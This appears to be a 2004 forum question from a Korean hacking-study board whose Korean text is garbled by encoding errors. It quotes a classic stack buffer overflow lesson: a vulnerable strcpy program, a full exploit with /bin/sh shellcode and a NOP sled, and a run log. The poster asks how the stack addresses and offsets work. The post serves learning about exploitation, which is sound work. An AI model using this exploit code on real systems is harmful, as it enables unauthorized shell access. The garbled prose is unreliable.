http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=134 []
ϱ ʺԴϴ.^^
bof ִµ.켱 ̰.^^
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
̰ dz?
NOP ϱ offset 1000 ϸ鼭 ִ..
ƴ ظ ߳?^^
...^^;;;;(˼մϴ. .^^)
켱 malloc dumpcode ôµ 0x08xxxxxxκ̰ addr ּҴ bffffxxx̴ ̿ κ ڼ ˰ ͳ. ּ ̰ ...
ŷ α buffer ġ Ǵ°ǰ?^^
get_sp ּҴ κΰ?
exploit ִ ¿ α Ǵ ΰ?
get_sp-offset̶ ŷ α buffer Ű ;ƴѰ? ƴϸ exploit ִ shellcode Ű ǰ?^^
ʹ..^^
ذ øϴ.
亯Ź帳ϴ.^^ ϰ ִ л ø...^^ |
Hit : 4224 Date : 2004/02/23 07:01
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